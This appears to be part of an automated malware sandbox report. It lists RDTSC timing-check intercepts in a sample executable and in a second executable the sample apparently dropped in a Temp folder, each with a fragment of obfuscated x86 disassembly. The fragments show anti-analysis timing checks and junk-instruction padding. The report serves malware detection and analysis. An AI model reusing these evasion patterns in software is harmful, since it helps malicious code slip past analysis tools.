Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460645 second address: 546064B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546064B second address: 546064F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546064F second address: 5460653 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460653 second address: 5460661 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460661 second address: 546068F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F40B477E791h 0x0000000a or ax, 45A6h 0x0000000f jmp 00007F40B477E791h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546068F second address: 5460695 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460695 second address: 5460723 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B477E793h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d movzx esi, bx 0x00000010 pushfd 0x00000011 jmp 00007F40B477E791h 0x00000016 and al, 00000066h 0x00000019 jmp 00007F40B477E791h 0x0000001e popfd 0x0000001f popad 0x00000020 nop 0x00000021 jmp 00007F40B477E78Eh 0x00000026 push eax 0x00000027 jmp 00007F40B477E78Bh 0x0000002c nop 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007F40B477E794h 0x00000034 xor eax, 7190AA68h 0x0000003a jmp 00007F40B477E78Bh 0x0000003f popfd 0x00000040 push eax 0x00000041 push edx 0x00000042 mov bl, ch 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460723 second address: 5460742 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 pushad 0x00000009 mov bx, C6BAh 0x0000000d popad 0x0000000e mov dword ptr [esp], ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F40B515FBFCh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5450EE0 second address: 5450EE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5450EE6 second address: 5450F0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F40B515FC00h 0x00000009 xor eax, 697C23A8h 0x0000000f jmp 00007F40B515FBFBh 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5450F0E second address: 5450F41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [ebp-04h], 55534552h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushfd 0x00000012 jmp 00007F40B477E790h 0x00000017 sbb si, 9608h 0x0000001c jmp 00007F40B477E78Bh 0x00000021 popfd 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5450F8C second address: 5450FA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40B515FC04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5450FA4 second address: 5460B8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ret 0x00000009 nop 0x0000000a and bl, 00000001h 0x0000000d movzx eax, bl 0x00000010 lea esp, dword ptr [ebp-0Ch] 0x00000013 pop esi 0x00000014 pop edi 0x00000015 pop ebx 0x00000016 pop ebp 0x00000017 ret 0x00000018 add esp, 04h 0x0000001b jmp dword ptr [003CA41Ch+ebx*4] 0x00000022 push edi 0x00000023 call 00007F40B47A4187h 0x00000028 push ebp 0x00000029 push ebx 0x0000002a push edi 0x0000002b push esi 0x0000002c sub esp, 000001D0h 0x00000032 mov dword ptr [esp+000001B4h], 003CCB10h 0x0000003d mov dword ptr [esp+000001B0h], 000000D0h 0x00000048 mov dword ptr [esp], 00000000h 0x0000004f mov eax, dword ptr [003C81DCh] 0x00000054 call eax 0x00000056 mov edi, edi 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460B8A second address: 5460B8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460B8E second address: 5460BA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B477E792h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460BA4 second address: 5460BDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B515FBFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F40B515FC06h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F40B515FBFEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460BDB second address: 5460C4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 28CC28B4h 0x00000008 jmp 00007F40B477E78Dh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 movzx esi, bx 0x00000015 call 00007F40B477E799h 0x0000001a pushfd 0x0000001b jmp 00007F40B477E790h 0x00000020 adc esi, 6496C8C8h 0x00000026 jmp 00007F40B477E78Bh 0x0000002b popfd 0x0000002c pop eax 0x0000002d popad 0x0000002e mov ebp, esp 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F40B477E792h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460C4C second address: 5460C52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460C52 second address: 5460C56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460C56 second address: 5460C9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [75C7459Ch], 05h 0x0000000f jmp 00007F40B515FC09h 0x00000014 je 00007F412590D977h 0x0000001a pushad 0x0000001b movzx esi, di 0x0000001e popad 0x0000001f pop ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F40B515FC01h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460C9D second address: 5460CA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460CA3 second address: 5460CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460CA7 second address: 5460CAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460E07 second address: 5460E0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548068C second address: 5480690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480690 second address: 5480696 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480696 second address: 54806EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 3121h 0x00000007 pushfd 0x00000008 jmp 00007F40B477E78Eh 0x0000000d xor eax, 227FAEB8h 0x00000013 jmp 00007F40B477E78Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d jmp 00007F40B477E799h 0x00000022 xchg eax, ebp 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 call 00007F40B477E78Ah 0x0000002b pop ecx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54806EA second address: 5480781 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, 479D8C06h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dx, 6292h 0x0000000d popad 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 mov bl, B1h 0x00000013 pushfd 0x00000014 jmp 00007F40B515FC00h 0x00000019 adc al, FFFFFFA8h 0x0000001c jmp 00007F40B515FBFBh 0x00000021 popfd 0x00000022 popad 0x00000023 xchg eax, esi 0x00000024 pushad 0x00000025 pushad 0x00000026 mov ax, C531h 0x0000002a pushfd 0x0000002b jmp 00007F40B515FBFEh 0x00000030 sub esi, 2D1FFD08h 0x00000036 jmp 00007F40B515FBFBh 0x0000003b popfd 0x0000003c popad 0x0000003d jmp 00007F40B515FC08h 0x00000042 popad 0x00000043 push eax 0x00000044 jmp 00007F40B515FBFBh 0x00000049 xchg eax, esi 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007F40B515FC00h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480781 second address: 5480785 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480785 second address: 548078B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548078B second address: 54807DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B477E78Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d mov edx, ecx 0x0000000f pushfd 0x00000010 jmp 00007F40B477E78Ah 0x00000015 or ecx, 6915F428h 0x0000001b jmp 00007F40B477E78Bh 0x00000020 popfd 0x00000021 popad 0x00000022 test esi, esi 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F40B477E795h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54807DA second address: 5480812 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B515FC01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F41258ED7BEh 0x0000000f jmp 00007F40B515FBFEh 0x00000014 cmp dword ptr [75C7459Ch], 05h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov ah, dl 0x00000020 push esi 0x00000021 pop edi 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480812 second address: 548086F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B477E78Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F4124F243FCh 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F40B477E794h 0x00000016 add si, E678h 0x0000001b jmp 00007F40B477E78Bh 0x00000020 popfd 0x00000021 mov ah, C9h 0x00000023 popad 0x00000024 push edx 0x00000025 pushad 0x00000026 mov eax, 0CFAA7FDh 0x0000002b push eax 0x0000002c movsx ebx, si 0x0000002f pop ecx 0x00000030 popad 0x00000031 mov dword ptr [esp], esi 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F40B477E78Ch 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548086F second address: 5480881 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40B515FBFEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54808BB second address: 54808BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54808BF second address: 54808C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54808C5 second address: 54808E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40B477E798h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54808E1 second address: 54808F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F40B515FBFAh 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1126E7B second address: 1126EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B477E78Ch 0x00000009 jmp 00007F40B477E798h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1126EA5 second address: 1126EAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1126EAA second address: 1126EB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1126EB0 second address: 1126EB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1126EB6 second address: 1126EE0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F40B477E786h 0x00000008 jnc 00007F40B477E786h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jc 00007F40B477E78Ch 0x0000001a jp 00007F40B477E786h 0x00000020 push eax 0x00000021 push edx 0x00000022 jbe 00007F40B477E786h 0x00000028 push edx 0x00000029 pop edx 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1126EE0 second address: 1126EE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1126EE6 second address: 1126F01 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F40B477E78Dh 0x0000000d jno 00007F40B477E786h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1126F01 second address: 1126F0B instructions: 0x00000000 rdtsc 0x00000002 js 00007F40B515FBF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1120E68 second address: 1120E90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B477E799h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F40B477E786h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1120E90 second address: 1120E94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1120E94 second address: 1120EAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push ebx 0x00000009 jo 00007F40B477E786h 0x0000000f pop ebx 0x00000010 pushad 0x00000011 push edx 0x00000012 pop edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1120EAB second address: 1120EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B515FC05h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1120EC8 second address: 1120EDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007F40B477E786h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1120EDB second address: 1120EDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1125E38 second address: 1125E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B477E796h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1125E53 second address: 1125E58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1125E58 second address: 1125E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F40B477E786h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1125E64 second address: 1125E6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1125E6A second address: 1125E7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1126143 second address: 1126159 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 jne 00007F40B515FC1Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007F40B515FBF6h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 11262DC second address: 11262E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 11262E1 second address: 11262E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1126585 second address: 1126589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1126589 second address: 112659E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F40B515FBFFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 112659E second address: 11265AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F40B477E786h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1126735 second address: 1126739 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1126739 second address: 1126751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b jnc 00007F40B477E786h 0x00000011 jnl 00007F40B477E786h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1126751 second address: 1126756 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1126756 second address: 112676D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B477E78Ah 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F40B477E786h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1128D97 second address: 1128DA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1128DA0 second address: FAEA3C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jng 00007F40B477E792h 0x00000011 pop eax 0x00000012 jmp 00007F40B477E792h 0x00000017 push dword ptr [ebp+122D12C9h] 0x0000001d call 00007F40B477E78Dh 0x00000022 jmp 00007F40B477E78Ah 0x00000027 pop edx 0x00000028 call dword ptr [ebp+122D17FBh] 0x0000002e pushad 0x0000002f sub dword ptr [ebp+122D1A10h], ebx 0x00000035 xor eax, eax 0x00000037 jmp 00007F40B477E794h 0x0000003c mov edx, dword ptr [esp+28h] 0x00000040 mov dword ptr [ebp+122D1A10h], edx 0x00000046 mov dword ptr [ebp+122D27F2h], eax 0x0000004c jmp 00007F40B477E797h 0x00000051 mov esi, 0000003Ch 0x00000056 pushad 0x00000057 mov dword ptr [ebp+122D1886h], esi 0x0000005d xor dword ptr [ebp+122D1886h], ecx 0x00000063 popad 0x00000064 clc 0x00000065 add esi, dword ptr [esp+24h] 0x00000069 jmp 00007F40B477E78Eh 0x0000006e lodsw 0x00000070 jmp 00007F40B477E791h 0x00000075 add eax, dword ptr [esp+24h] 0x00000079 sub dword ptr [ebp+122D1A10h], ebx 0x0000007f mov ebx, dword ptr [esp+24h] 0x00000083 jnp 00007F40B477E79Fh 0x00000089 push eax 0x0000008a push eax 0x0000008b push edx 0x0000008c js 00007F40B477E78Ch 0x00000092 jl 00007F40B477E786h 0x00000098 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1128EDF second address: 1128EE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1128EE3 second address: 1128EED instructions: 0x00000000 rdtsc 0x00000002 jg 00007F40B477E786h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1128EED second address: 1128EF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1128F51 second address: 1128F5E instructions: 0x00000000 rdtsc 0x00000002 je 00007F40B477E786h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1129045 second address: 112904F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F40B515FBF6h 0x0000000a rdtsc
